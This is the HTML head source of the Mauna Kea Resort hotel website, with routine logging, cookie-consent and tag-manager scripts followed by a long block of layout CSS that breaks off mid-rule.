1 2<!DOCTYPE html> 3 4<html class="no-js" lang="en"> 5 <head profile="http://www.w3.org/2005/10/profile"> 6 <meta charset="utf-8" /> 7 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> 8 <meta name="viewport" content="width=device-width, initial-scale=1"> 9 <link rel="icon" type="image/png" href="/images/favicon.png"> 10 <link rel="preload" href="/css/fontello/font/fontello.woff2?78671574" as="font" type="font/woff2" crossorigin> 11 12 <title>Mauna Kea Resort | Big Island Hawaii 5 Star Hotel</title> 13 14<meta property="og:title" content="Mauna Kea Resort | Big Island Hawaii 5 Star Hotel"> 15<meta property="og:type" content="website"> 16<meta property="og:url" content="https://www.maunakearesort.com/" /> 17 18 <meta name="google-site-verification" content="nV5WWd20c8fL4fdaH6py4XynmoNpfNYuPp1X6K9PEC8" /> 19 <meta name="description" content="Pure luxury nestled in perfect harmony with nature and spirit of the island." /> 20 21
21<script> 22 var _hdmlog=function(){var n="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=Math.random()*16|0,i=n=="x"?t:t&3|8;return i.toString(16)}),t=function(n,t,i){var r=new(this.XMLHttpRequest||ActiveXObject)("MSXML2.XMLHTTP.3.0");return r.open("POST",n,1),r.setRequestHeader("X-Requested-With","XMLHttpRequest"),r.setRequestHeader("MDRest","1"),r.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=UTF-8"),r.setRequestHeader("Response-type","json"),r.onreadystatechange=function(){r.readyState==4&&(r.status!=200?i(r):t(r))},r};return function(i,r,u,f){var e="",b=document.location.toString(),o,h,c,l,a,v,y,w;if(JSON&&JSON.stringify)e=JSON.stringify(r);else{o="";for(s in r)e=e+o+'"'+s+'":"'+r[s]+'"',o=",";e="{"+e+"}"}u=u||+new Date;h=navigator.language;navigator.languages&&(h=navigator.languages.join(","));c={time:u,name:i,guid:n,details:e,path:b,appVersion:navigator.appVersion,languages:h,platform:navigator.platform,userAgent:navigator.userAgent,vendor:navigator.vendor};l=[];for(p in c)a=encodeURIComponent(p),v=encodeURIComponent(c[p]),l.push(a+"="+v);y=l.join("&");f=f||function(){};try{w=t("/logs/",f,function(){});w.send(y)}catch(k){window.console&&console.log(k)}return u}}(),_hdmq;window.onerror=function(n,t,i,r,u){try{return window.console&&console.log&&console.log("Error: "+n+" Script: "+t+" Line: "+i+" Column: "+r+" StackTrace: "+u),!1}catch(f){}};window.$=function(){var n=[],t=function(t){n.push(t)};return t.attachReady=function(t){return t(function(){t.each(n,function(n,i){i(t)});n.length=0}),t},t}();_hdmq=function(){var n=[],t=!1,i,r;return i=function(){t=!0;for(var i=0;i<n.length;i++)n[i]();n=[]},r=function(i){t?i():n.push(i)},{loadComplete:i,add:r}}() 23 </script>
23 24
25<script> 26 var HDMdataLayer = window.HDMdataLayer || []; 27 28 29</script>
29 30 31
32<script async="async" src="https://static.srcspot.com/libs/jordana.js" type="application/javascript"></script>
32 33
34<script> 35 // Lazy load one trust script to prevent scroll in IOS 36 function loadOtScript() { 37 var s = document.createElement('script'); 38 s.src = 'https://cdn.cookielaw.org/scripttemplates/otSDKStub.js'; 39 s.defer = true; 40 s.type = 'text/javascript'; 41 s.charset = 'UTF-8'; 42 s.setAttribute('data-domain-script', 'dddbbd81-9219-49e8-934e-de51c7f0618e'); 43 var x = document.querySelector('head'); 44 x.appendChild(s); 45 } 46 47 window.addEventListener('load', function() { 48 setTimeout(function() { 49 try { 50 loadOtScript(); 51 } catch (err) { 52 console.log(err); 53 } 54 }, 1000); 55 }); 56</script>
56 57 58 59<!-- Google Tag Manager -->
60<script> 61 function OptanonWrapper() { 62 if (window.HDMdataLayer && window.dataLayer) { 63 window.dataLayer.forEach(function (item) { 64 window.HDMdataLayer.push(item); 65 }); 66 } 67 68 /* Google Tag Manager */
vendor: 498 bytes, lines 68-76
68 69 (function (w, d, s, l, i) { 70 w[l] = w[l] || []; w[l].push({ 71 'gtm.start': 72 new Date().getTime(), event: 'gtm.js' 73 }); var f = d.getElementsByTagName(s)[0], 74 j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src = 75 'https://www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f); 76 })(window, document, 'script', 'HDMdataLayer', '
76GTM-TD566NW
vendor: 13 bytes, lines 76-77
76'); 77
77/* End Google Tag Manager */ 78 }; 79</script>
79 80<!-- End Google Tag Manager -->
81<script src="https://schemagenerator.hooray.agency/js/schema.js" defer data-key="21ad65f7-3cd0-4d42-a57b-bdf7b6791d70"></script>
81 82 83
83<script> 84 85 </script>
85 86 87 88 <link rel="stylesheet" type="text/css" href="/css/base-unmin/unmin.css"> 89 90 <style>/* Minification failed. Returning unminified contents. 91(2363,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-' 92(2364,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-' 93(2365,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-' 94(2366,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-' 95 */ 96/* Critical CSS 97**********************************/ 98/* Variables 99**********************************/ 100/* all vars, no need for @if critical */ 101/* breakpoints */ 102/* Animation - see header.scss for usage examples */ 103/* Form placeholders */ 104/* Usage: 105 106 .foo { 107 @include placeholder { 108 color: green; 109 } 110 } 111 112 @include placeholder { 113 color: red; 114 } 115*/ 116/* Flexbox 117***************************************/ 118/* Card */ 119/* Filter */ 120/* Gridder */ 121/* Variables 122**********************************/ 123/* all vars, no need for @if critical */ 124/* breakpoints */ 125/* Animation - see header.scss for usage examples */ 126/* Form placeholders */ 127/* Usage: 128 129 .foo { 130 @include placeholder { 131 color: green; 132 } 133 } 134 135 @include placeholder { 136 color: red; 137 } 138*/ 139/* Flexbox 140***************************************/ 141/* Card */ 142/* Filter */ 143/* Gridder */ 144/* http://meyerweb.com/eric/tools/css/reset/ v2.0 | 20110126 License: none (public domain) */ 145html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { 146 margin: 0; 147 padding: 0; 148 border: 0; 149 font-size: 100%; 150 font: inherit; 151 vertical-align: baseline; 152} 153 154article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { 155 display: block; 156} 157 158body { 159 line-height: 1; 160} 161 162ol, ul { 163 list-style: none; 164} 165 166blockquote, q { 167 quotes: none; 168} 169 170blockquote:before, blockquote:after, q:before, q:after { 171 content: ''; 172 content: none; 173} 174 175table { 176 border-collapse: collapse; 177 border-spacing: 0; 178} 179 180/* General global styles 181***********************************/ 182html { 183 font-family: "Nunito Sans", sans-serif; 184 font-size: 16px; 185} 186 187body { 188 color: #56534d; 189} 190 191@media screen and (max-width: 767px) { 192 body { 193 -webkit-text-size-adjust: 100%; 194 } 195} 196 197body.is-admin { 198 padding-top: 40px; 199} 200 201strong { 202 font-weight: bold; 203} 204 205em { 206 font-style: italic; 207} 208 209p { 210 margin: 0 0 1.6em; 211 line-height: 1.6em; 212} 213 214hr { 215 border: none; 216 height: 1px; 217 border-top: 1px solid #999; 218 margin: 2em 0; 219} 220 221sup, 222sub { 223 vertical-align: baseline; 224 position: relative; 225 top: -.1em; 226} 227 228sub { 229 top: .1em; 230} 231 232blockquote { 233 margin: 0 0 1.5em; 234 border-left: 2px solid #ccc; 235 padding-left: 1em; 236} 237 238blockquote p { 239 line-height: 1.5em; 240 margin-bottom: .5em; 241} 242 243cite { 244 font-style: italic; 245 letter-spacing: .05em; 246} 247 248/* headers */ 249h1, h2, h3, h4, h5, h6 { 250 line-height: 1.1em; 251} 252 253h1, 254.h1 { 255 font-family: "Lora", serif; 256 font-size: 2.5rem; 257 font-weight: 400; 258} 259 260@media screen and (max-width: 767px) { 261 h1, 262.h1 { 263 font-size: 2rem; 264 } 265} 266 267h1 em, 268.h1 em { 269 display: block; 270 font-family: "Kristabelle", cursive; 271 font-size: 2.5rem; 272 line-height: normal; 273 color: #ff671f; 274} 275 276@media screen and (max-width: 767px) { 277 h1 em, 278.h1 em { 279 font-size: 2rem; 280 } 281} 282 283h2, 284.h2 { 285 font-family: "Lora", serif; 286 font-size: 5rem; 287 margin-bottom: .5em; 288 font-weight: 400; 289} 290 291@media screen and (max-width: 767px) { 292 h2, 293.h2 { 294 font-size: 2.625rem; 295 } 296} 297 298h2 em, 299.h2 em { 300 display: block; 301 font-family: "Kristabelle", cursive; 302 font-size: 3.25rem; 303 color: #ff671f; 304 line-height: normal; 305} 306 307@media screen and (max-width: 767px) { 308 h2 em, 309.h2 em { 310 font-size: 2rem; 311 } 312} 313 314h2.med, 315.h2.med { 316 font-size: 2.5rem; 317} 318 319@media screen and (max-width: 767px) { 320 h2.med, 321.h2.med { 322 font-size: 1.5rem; 323 } 324} 325 326h2.med em, 327.h2.med em { 328 font-size: 3.813rem; 329} 330 331@media screen and (max-width: 767px) { 332 h2.med em, 333.h2.med em { 334 font-size: 2rem; 335 } 336} 337 338h3, 339.h3 { 340 font-family: "Lora", serif; 341 font-size: 1.875rem; 342 font-weight: 400; 343 margin-bottom: .5em; 344 line-height: 1.15em; 345 letter-spacing: .025em; 346} 347 348@media screen and (max-width: 767px) { 349 h3, 350.h3 { 351 font-size: 1.5rem; 352 } 353} 354 355h4, 356.h4 { 357 font-family: "Nunito Sans", sans-serif; 358 font-size: 1.125rem; 359 font-weight: 600; 360 text-transform: uppercase; 361 margin-bottom: .4em; 362 line-height: 1.3em; 363 letter-spacing: .05em; 364} 365 366h5, 367.h5 { 368 font-size: 1em; 369 margin-bottom: .2em; 370 font-weight: 700; 371} 372 373h6, 374.h6 { 375 font-size: 1em; 376 color: #333; 377} 378 379/* links */ 380a { 381 -webkit-transition: color 0.4s; 382 -moz-transition: color 0.4s; 383 -ms-transition: color 0.4s; 384 transition: color 0.4s; 385 text-decoration: none; 386 color: #ff671f; 387 transition: background-color .35s, color .35s; 388 /* 389 &[href^="tel:"]{ 390 font-weight: 700; 391 }*/ 392} 393 394a:hover { 395 color: #000; 396} 397 398/* Lists */ 399ul, ol { 400 line-height: 1.5em; 401 margin: 0 0 1.5em 2.2em; 402} 403 404ul { 405 list-style-type: disc; 406} 407 408ul ul { 409 list-style-type: circle; 410} 411 412ol { 413 list-style-type: decimal; 414} 415 416dl { 417 line-height: 1.5em; 418 margin: 0; 419} 420 421dl dt { 422 display: block; 423 margin: 0; 424} 425 426dl dd { 427 margin: 0 0 1.5em; 428} 429 430/* page layout */ 431main { 432 display: block; 433} 434 435.main-content { 436 position: relative; 437 z-index: 2; 438 max-width: 2560px; 439 margin: 0 auto; 440 min-height: 300px; 441} 442 443/* 444 Slick Slider overrides - check the 445 buttons sass file for prev/next buttons 446********************************************/ 447.slick-list, 448.slick-track { 449 height: 100%; 450} 451 452/* Datepicker overrides */ 453#ui-datepicker-div .ui-state-highlight, 454#ui-datepicker-div .ui-widget-content .ui-state-highlight, 455#ui-datepicker-div .ui-widget-header .ui-state-highlight { 456 background: #ccc; 457 color: #fff; 458} 459 460#ui-datepicker-div .ui-state-active, 461#ui-datepicker-div .ui-widget-content .ui-state-active, 462#ui-datepicker-div .ui-widget-header .ui-state-active { 463 background: #ff671f; 464 color: #fff; 465 border-color: #ff671f; 466} 467 468#ui-datepicker-div.ui-datepicker { 469 z-index: 999999999999999999999 !important; 470} 471 472.embedded-messaging > .embeddedMessagingFrame[class~="isMinimized"], 473.embeddedMessagingConversationButtonWrapper .embeddedMessagingConversationButton { 474 bottom: 7rem !important; 475 right: 1rem !important; 476} 477 478.embedded-messaging > .embeddedMessagingFrame[class~="isMaximized"] { 479 z-index: 9999999990; 480} 481 482#ae_launcher.ae-cta-position-preset-right-lower { 483 bottom: 190px !important; 484} 485 486@media screen and (max-width: 767px) { 487 #ae_launcher.ae-cta-position-preset-right-lower { 488 bottom: 24px !important; 489 } 490} 491 492/* Variables 493**********************************/ 494/* all vars, no need for @if critical */ 495/* breakpoints */ 496/* Animation - see header.scss for usage examples */ 497/* Form placeholders */ 498/* Usage: 499 500 .foo { 501 @include placeholder { 502 color: green; 503 } 504 } 505 506 @include placeholder { 507 color: red; 508 } 509*/ 510/* Flexbox 511***************************************/ 512/* Card */ 513/* Filter */
514/* Gridder */ 515/* 516 Print style sheet: print.css 517*/ 518/* Variables 519**********************************/ 520/* all vars, no need for @if critical */ 521/* breakpoints */ 522/* Animation - see header.scss for usage examples */ 523/* Form placeholders */ 524/* Usage: 525 526 .foo { 527 @include placeholder { 528 color: green; 529 } 530 } 531 532 @include placeholder { 533 color: red; 534 } 535*/ 536/* Flexbox 537***************************************/ 538/* Card */ 539/* Filter */ 540/* Gridder */ 541.preload-image { 542 background: #fff url(/images/loading.gif) no-repeat center center !important; 543 background-size: initial !important; 544} 545 546.has-loader::before { 547 content: ''; 548 pointer-events: none; 549 position: absolute; 550 top: 50%; 551 left: 50%; 552 width: 30px; 553 height: 30px; 554 background-image: url(/images/layout/loader.png); 555 background-position: center; 556 background-size: contain; 557 background-repeat: no-repeat; 558 transform: translate(-50%, -50%); 559 animation: loader 4s infinite linear; 560} 561 562@keyframes loader { 563 0% { 564 transform: rotate(0); 565 } 566 100% { 567 transform: rotate(360deg); 568 } 569} 570 571/* Object fit images */ 572.object-fit { 573 display: block; 574 object-fit: cover; 575 object-position: 50% 50%; 576 width: 100%; 577 height: 100%; 578} 579 580.object-fit-top { 581 object-position: 50% 20%; 582} 583 584.object-fit-bottom { 585 object-position: 50% 80%; 586} 587 588@media screen and (max-width: 767px) { 589 .object-fit-bottom { 590 object-position: 50% 90%; 591 } 592} 593 594.object-fit-right { 595 object-position: 80% 50%; 596} 597 598@media screen and (max-width: 767px) { 599 .object-fit-right { 600 object-position: 90% 50%; 601 } 602} 603 604.object-fit-left { 605 object-position: 20% 50%; 606} 607 608.object-fit-contain { 609 object-fit: contain; 610} 611 612.object-fit-right-top { 613 object-position: 80% 20%; 614} 615 616@media screen and (max-width: 767px) { 617 .object-fit-right-top { 618 object-position: 90% 10%; 619 } 620} 621 622.object-fit-left-top { 623 object-position: 20% 20%; 624} 625 626@media screen and (max-width: 767px) { 627 .object-fit-left-top { 628 object-position: 10% 10%; 629 } 630} 631 632/* clearfix */ 633.cf:after { 634 content: ''; 635 display: table; 636 clear: both; 637} 638 639@supports (display: flow-root) { 640 .cf { 641 display: flow-root; 642 } 643 .cf:after { 644 content: none; 645 } 646} 647 648.clear-left { 649 clear: left; 650} 651 652.main-pad { 653 padding: 3em 0; 654} 655 656.nobr { 657 white-space: nowrap; 658} 659 660.align-center { 661 text-align: center; 662} 663 664.align-right { 665 text-align: right; 666} 667 668.normal { 669 text-transform: none; 670} 671 672.brand-color { 673 color: #ff671f; 674} 675 676.westin-color { 677 color: #529d6e; 678} 679 680@media screen and (max-width: 767px) { 681 .mobile-break { 682 display: block; 683 } 684} 685 686/* image replacement */ 687.ir { 688 text-indent: 200%; 689 white-space: nowrap; 690 overflow: hidden; 691} 692 693.break-word { 694 overflow-wrap: break-word; 695 word-wrap: break-word; 696 /* 697 -ms-word-break: break-all; 698 -moz-word-break: break-all; 699 word-break: break-all; 700 */ 701 /* non standard for webkit */ 702 word-break: break-word; 703 -webkit-hyphens: auto; 704 -moz-hyphens: auto; 705 -ms-hyphens: auto; 706 hyphens: auto; 707} 708 709/* headers */ 710.pre-hdr { 711 color: #ff671f; 712 font-size: .75rem; 713 font-weight: 600; 714 letter-spacing: .05em; 715 text-transform: uppercase; 716 line-height: 1.4em; 717 margin-bottom: .75em; 718} 719 720/* 721.hyphens { 722 @include hyphens(); 723} 724*/ 725.intro { 726 margin-bottom: 3em; 727 padding-top: 1em; 728} 729 730@media screen and (max-width: 767px) { 731 .intro { 732 margin-bottom: 0; 733 padding-top: 0; 734 } 735} 736 737.intro .hgroup { 738 box-sizing: border-box; 739 position: relative; 740 z-index: 2; 741 float: left; 742 width: 50%; 743 margin-bottom: 2em; 744 padding-right: 1em; 745} 746 747@media screen and (max-width: 767px) { 748 .intro .hgroup { 749 float: none; 750 width: auto; 751 margin-bottom: 1em; 752 padding-right: 0; 753 } 754} 755 756.intro h1 em { 757 display: inline; 758} 759 760.intro .cta { 761 text-transform: uppercase; 762 font-size: .75rem; 763 margin-top: 4.5em; 764} 765 766@media screen and (max-width: 767px) { 767 .intro .cta { 768 margin-top: 1.5em; 769 } 770} 771 772.intro .cta a { 773 color: currentColor; 774} 775 776.intro .cta a:hover { 777 color: #ff671f; 778} 779 780.intro .cta::after { 781 content: ' \2192'; 782 font-size: 2em; 783 color: #ff671f; 784} 785 786.intro.stacked .hgroup { 787 float: none; 788 width: auto; 789 padding-right: 0; 790} 791 792.has-caption::after { 793 background: linear-gradient(to top, rgba(0, 0, 0, 0.95) 0%, rgba(0, 0, 0, 0) 100%); 794 bottom: 0; 795 content: ''; 796 height: 50%; 797 left: 0; 798 position: absolute; 799 width: 100%; 800 /*z-index: 2;*/ 801 pointer-events: none; 802} 803 804.has-caption.lighter::after { 805 background: linear-gradient(to top, rgba(0, 0, 0, 0.7) 0%, rgba(0, 0, 0, 0) 100%); 806 height: 40%; 807} 808 809.has-caption.has-caption-top::after { 810 background: linear-gradient(rgba(0, 0, 0, 0.4) 0%, rgba(0, 0, 0, 0) 100%); 811 bottom: auto; 812 top: 0; 813 height: 90%; 814} 815 816/* caption gradient bg */ 817.caption-grad { 818 position: relative; 819} 820 821.caption-grad::after { 822 content: ''; 823 pointer-events: none; 824 background: linear-gradient(to top, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0) 100%); 825 bottom: 0; 826 height: 110px; 827 left: 0; 828 position: absolute; 829 width: 100%; 830 /*z-index: 2;*/ 831} 832 833.has-arrow::after { 834 content: ' \2192'; 835 font-size: 2em; 836} 837 838.disclaimer { 839 font-size: .85em; 840 font-style: italic; 841} 842 843.inline-left { 844 display: block; 845 float: left; 846 margin: 0 30px 20px 0; 847} 848 849.inline-left img { 850 max-width: 100%; 851 height: auto; 852} 853 854@media screen and (max-width: 767px) { 855 .inline-left { 856 float: none; 857 margin: 0 auto 12px; 858 } 859} 860 861img.inline-left { 862 max-width: 100%; 863 height: auto; 864} 865 866.inline-right { 867 display: block; 868 float: right; 869 margin: 0 0 20px 30px; 870} 871 872.inline-right img { 873 max-width: 100%; 874 height: auto; 875} 876 877@media screen and (max-width: 767px) { 878 .inline-right { 879 float: none; 880 margin: 0 auto 12px; 881 } 882} 883 884img.inline-right { 885 max-width: 100%; 886 height: auto; 887} 888 889.ada-hidden { 890 position: absolute; 891 left: -10000px; 892 top: auto; 893 width: 1px; 894 height: 1px; 895 overflow: hidden; 896} 897 898.sr-only { 899 position: absolute; 900 width: 1px; 901 height: 1px; 902 padding: 0; 903 margin: -1px; 904 overflow: hidden; 905 clip: rect(0, 0, 0, 0); 906 border: 0; 907} 908 909/* vertically center */ 910.vcenter { 911 -webkit-transform: translateY(-50%); 912 -moz-transform: translateY(-50%); 913 -ms-transform: translateY(-50%); 914 transform: translateY(-50%); 915 position: relative; 916 top: 50%; 917} 918 919/* vertically & horizontally center */ 920.vhcenter { 921 -webkit-transform: translate(-50%, -50%); 922 -moz-transform: translate(-50%, -50%); 923 -ms-transform: translate(-50%, -50%); 924 transform: translate(-50%, -50%); 925 position: absolute; 926 top: 50%; 927 left: 50%; 928 z-index: 2; 929} 930 931.inner { 932 width: 90%; 933 max-width: 1000px; 934 margin: 0 auto; 935} 936 937.center { 938 text-align: center; 939 margin-left: auto; 940 margin-right: auto; 941} 942 943.centered-list { 944 text-align: center; 945} 946
947/* Lists */ 948.unstyled-list { 949 list-style-type: none; 950 margin: 0; 951} 952 953.inside-list { 954 list-style-position: inside; 955} 956 957.bg-cover { 958 background-position: center; 959 background-repeat: no-repeat; 960 background-size: cover; 961} 962 963.bg-cover.top { 964 background-position: center top; 965} 966 967.bg-cover.right { 968 background-position: right center; 969} 970 971.bg-cover.bottom { 972 background-position: center bottom; 973} 974 975.bg-cover.left { 976 background-position: left center; 977} 978 979.bg-cover.left-top { 980 background-position: left top; 981} 982 983.bg-cover.left-bottom { 984 background-position: left bottom; 985} 986 987.bg-cover.right-top { 988 background-position: right top; 989} 990 991.bg-cover.right-bottom { 992 background-position: right bottom; 993} 994 995/* Cover items 996***************************************/ 997/* 998.cover-image { 999 //@include transition(all .5s); 1000 //@extend .bg-cover; 1001 position: absolute; 1002 width: 100%; 1003 height: 100%; 1004 top: 0; 1005 left: 0; 1006 margin: 0 auto; 1007 box-sizing: border-box; 1008 pointer-events: none; 1009 1010 &.top { background-position: center top; } 1011 &.bottom { background-position: center bottom; } 1012 1013} 1014*/ 1015.cover-link { 1016 position: absolute; 1017 top: 0; 1018 left: 0; 1019 z-index: 11; 1020 width: 100%; 1021 height: 100%; 1022 text-indent: -9999px; 1023 overflow: hidden; 1024} 1025 1026.cover-link a { 1027 display: block; 1028 width: 100%; 1029 height: 100%; 1030} 1031 1032/* Lazy loaded images */ 1033.lazy-fade-in { 1034 animation-name: fadeIn; 1035 animation-duration: 1.3s; 1036 animation-timing-function: cubic-bezier(0, 0, 0.4, 1); 1037 animation-fill-mode: forwards; 1038} 1039 1040@keyframes fadeIn { 1041 from { 1042 opacity: 0; 1043 } 1044 to { 1045 opacity: 1; 1046 } 1047} 1048 1049/* Columns 1050*************************************/ 1051.two-col { 1052 -webkit-column-count: 2; 1053 -moz-column-count: 2; 1054 column-count: 2; 1055 -webkit-column-gap: 40px; 1056 -moz-column-gap: 40px; 1057 column-gap: 40px; 1058 margin-bottom: 1.4em; 1059} 1060 1061.two-col .col, 1062.two-col li { 1063 -webkit-column-break-inside: avoid; 1064 page-break-inside: avoid; 1065 break-inside: avoid; 1066} 1067 1068@media screen and (max-width: 480px) { 1069 .two-col { 1070 -webkit-column-count: auto; 1071 -moz-column-count: auto; 1072 column-count: auto; 1073 -webkit-column-gap: normal; 1074 -moz-column-gap: normal; 1075 column-gap: normal; 1076 margin-bottom: 0; 1077 } 1078} 1079 1080/* 1081.three-col { 1082 @include columns(3, 20px); 1083 1084 @media screen and (max-width: 767px){ 1085 @include columns(auto, normal); 1086 } 1087 1088 .col, 1089 li { 1090 -webkit-column-break-inside: avoid; 1091 page-break-inside: avoid; 1092 break-inside: avoid; 1093 } 1094 1095} 1096 1097.four-col { 1098 @include columns(4, 40px); 1099 margin-bottom: 1.4em; 1100 1101 .col, 1102 li { 1103 -webkit-column-break-inside: avoid; 1104 page-break-inside: avoid; 1105 break-inside: avoid; 1106 } 1107 1108 @media screen and (max-width: 480px){ 1109 @include columns(auto, normal); 1110 margin-bottom: 0; 1111 } 1112 1113} 1114*/ 1115@-webkit-keyframes fade-in { 1116 from { 1117 opacity: 0; 1118 } 1119 to { 1120 opacity: 1; 1121 } 1122} 1123 1124@-moz-keyframes fade-in { 1125 from { 1126 opacity: 0; 1127 } 1128 to { 1129 opacity: 1; 1130 } 1131} 1132 1133@-ms-keyframes fade-in { 1134 from { 1135 opacity: 0; 1136 } 1137 to { 1138 opacity: 1; 1139 } 1140} 1141 1142@-o-keyframes fade-in { 1143 from { 1144 opacity: 0; 1145 } 1146 to { 1147 opacity: 1; 1148 } 1149} 1150 1151@keyframes fade-in { 1152 from { 1153 opacity: 0; 1154 } 1155 to { 1156 opacity: 1; 1157 } 1158} 1159 1160/* 1161.icon { 1162 vertical-align: middle; 1163}*/ 1164/* responsive images */ 1165.resp-img { 1166 max-width: 100%; 1167 height: auto; 1168} 1169 1170/* standard table */ 1171.tbl-std { 1172 border-collapse: collapse; 1173 width: 100%; 1174 margin: 0 auto 1.4em; 1175} 1176 1177.tbl-std thead { 1178 background-color: #333; 1179 color: #fff; 1180 font-weight: 700; 1181} 1182 1183.tbl-std th, 1184.tbl-std td { 1185 padding: 1em; 1186 line-height: 1.4em; 1187} 1188 1189@media screen and (max-width: 480px) { 1190 .tbl-std th, 1191.tbl-std td { 1192 display: block; 1193 padding: 4px 12px; 1194 line-height: normal; 1195 } 1196} 1197 1198.tbl-std th { 1199 text-align: left; 1200 vertical-align: middle; 1201} 1202 1203@media screen and (max-width: 768px) { 1204 .tbl-std th span { 1205 display: block; 1206 } 1207} 1208 1209.tbl-std td { 1210 vertical-align: top; 1211} 1212 1213.tbl-std td[scope="row"] { 1214 font-family: "Lora", serif; 1215 font-weight: 700; 1216 text-transform: uppercase; 1217} 1218 1219.tbl-std tbody tr { 1220 background-color: #e3e3e3; 1221 border-bottom: 1px solid #fff; 1222} 1223 1224.tbl-std tbody tr:nth-child(even) { 1225 background-color: #d2d2d2; 1226} 1227 1228.tbl-std-collapsed { 1229 width: auto; 1230 margin: 0 0 1.4em; 1231} 1232 1233/* flex list */ 1234/* 1235.flex-list { 1236 @include flexbox; 1237 @include flex-wrap(wrap); 1238 list-style-type: none; 1239 text-align: center; 1240 margin-left: 0; 1241 1242 &.pipes { 1243 > li { 1244 & + li { 1245 border-left: 1px solid $brand-color; 1246 1247 @media screen and (max-width: 768px){ 1248 border-left: none; 1249 } 1250 1251 @media screen and (max-width: 767px){ 1252 border-top: 1px solid $brand-color; 1253 //margin-top: 20px; 1254 padding-top: 20px; 1255 } 1256 } 1257 1258 &:nth-child(2n + 2){ 1259 @media screen and (max-width: 768px){ 1260 border-left: 1px solid $brand-color; 1261 } 1262 1263 @media screen and (max-width: 767px){ 1264 border-left: none; 1265 } 1266 } 1267 1268 } 1269 1270 } 1271 1272 > li {
1273 //@include flex(1 0 calc(25% - 10px)); 1274 @include flex(1 0 25%); 1275 box-sizing: border-box; 1276 1277 @media screen and (max-width: 768px){ 1278 @include flex(1 0 50%); 1279 margin-bottom: 30px; 1280 } 1281 1282 @media screen and (max-width: 767px){ 1283 @include flex(1 0 100%); 1284 } 1285 1286 } 1287 1288 .lm { 1289 font-size: 12px; 1290 padding: .8em 1.6em .8em 1.8em; 1291 } 1292 1293} 1294*/ 1295/* Flex cards */ 1296/* 1297.flex-card-set { 1298 @include flexbox; 1299 @include flex-wrap(wrap); 1300 max-width: 940px; 1301 margin: 0 auto; 1302} 1303 1304.flex-card { 1305 @include flexbox; 1306 box-sizing: border-box; 1307 margin-bottom: 2em; 1308 padding: 0 1em; 1309 width: 33.3333333333%; 1310 1311 @media screen and (max-width: 768px){ 1312 width: 50%; 1313 padding: 0 0 1em; 1314 max-width: 640px; 1315 margin: 0 auto; 1316 } 1317 1318 @media screen and (max-width: 767px){ 1319 width: 100%; 1320 } 1321} 1322 1323.flex-card-img { 1324 position: relative; 1325 overflow: hidden; 1326 width: 100%; 1327 height: 236px; 1328 margin: 0 auto 2em; 1329} 1330 1331.flex-card-content { 1332 @include flexbox; 1333 @include flex-direction(column); 1334 box-sizing: border-box; 1335 width: 100%; 1336 max-width: 314px; 1337 margin: 0 auto; 1338 padding: 0 0 2em; 1339 position: relative; 1340 1341 .unstyled-list { margin-bottom: 1.8em; } 1342 1343} 1344 1345.flex-card-inner { 1346 @include flex(1 0 auto); 1347 padding: 0 2em; 1348} 1349*/ 1350.flex { 1351 display: -webkit-box; 1352 display: -webkit-flex; 1353 display: -moz-flex; 1354 display: -ms-flexbox; 1355 display: flex; 1356} 1357 1358/* 1359// Flex list 1360.flex-list { 1361 @include flexbox; 1362 @include flex-wrap(wrap); 1363 1364 > li { 1365 @include flexbox; 1366 box-sizing: border-box; 1367 padding: 0.5em; 1368 width: 50%; 1369 1370 @media screen and (max-width: 767px){ 1371 padding: 0; 1372 width: 100%; 1373 } 1374 } 1375 1376} 1377 1378.flex-list-content { 1379 @include flexbox; 1380 @include flex-direction(column); 1381 background-color: #fff; 1382 padding: 1em; 1383 width: 100%; 1384 1385 .filler { 1386 @include flex(1 0 auto); 1387 } 1388} 1389*/ 1390/* Flex cols */ 1391.flex-cols { 1392 display: flex; 1393 flex-wrap: wrap; 1394 width: 100%; 1395 margin-bottom: 3em; 1396} 1397 1398@media screen and (max-width: 767px) { 1399 .flex-cols { 1400 margin-bottom: 2em; 1401 } 1402} 1403 1404.flex-cols .col-1-2 { 1405 width: 50%; 1406} 1407 1408@media screen and (max-width: 767px) { 1409 .flex-cols .col-1-2 { 1410 width: 100%; 1411 } 1412} 1413 1414.flex-cols .col-1-3 { 1415 width: 33.3333333333%; 1416} 1417 1418@media screen and (max-width: 767px) { 1419 .flex-cols .col-1-3 { 1420 width: 100%; 1421 } 1422} 1423 1424.flex-cols .col-2-3 { 1425 width: 66.6666666667%; 1426} 1427 1428@media screen and (max-width: 767px) { 1429 .flex-cols .col-2-3 { 1430 width: 100%; 1431 } 1432} 1433 1434.flex-cols .col-1-4 { 1435 width: 25%; 1436} 1437 1438@media screen and (max-width: 767px) { 1439 .flex-cols .col-1-4 { 1440 width: 100%; 1441 } 1442} 1443 1444.flex-cols .col-3-4 { 1445 width: 75%; 1446} 1447 1448@media screen and (max-width: 767px) { 1449 .flex-cols .col-3-4 { 1450 width: 100%; 1451 } 1452} 1453 1454.flex-cols .col-1-5 { 1455 width: 20%; 1456} 1457 1458@media screen and (max-width: 767px) { 1459 .flex-cols .col-1-5 { 1460 width: 100%; 1461 } 1462} 1463 1464.flex-cols .col-2-5 { 1465 width: 40%; 1466} 1467 1468@media screen and (max-width: 767px) { 1469 .flex-cols .col-2-5 { 1470 width: 100%; 1471 } 1472} 1473 1474.flex-cols .col-3-5 { 1475 width: 60%; 1476} 1477 1478@media screen and (max-width: 767px) { 1479 .flex-cols .col-3-5 { 1480 width: 100%; 1481 } 1482} 1483 1484.flex-cols 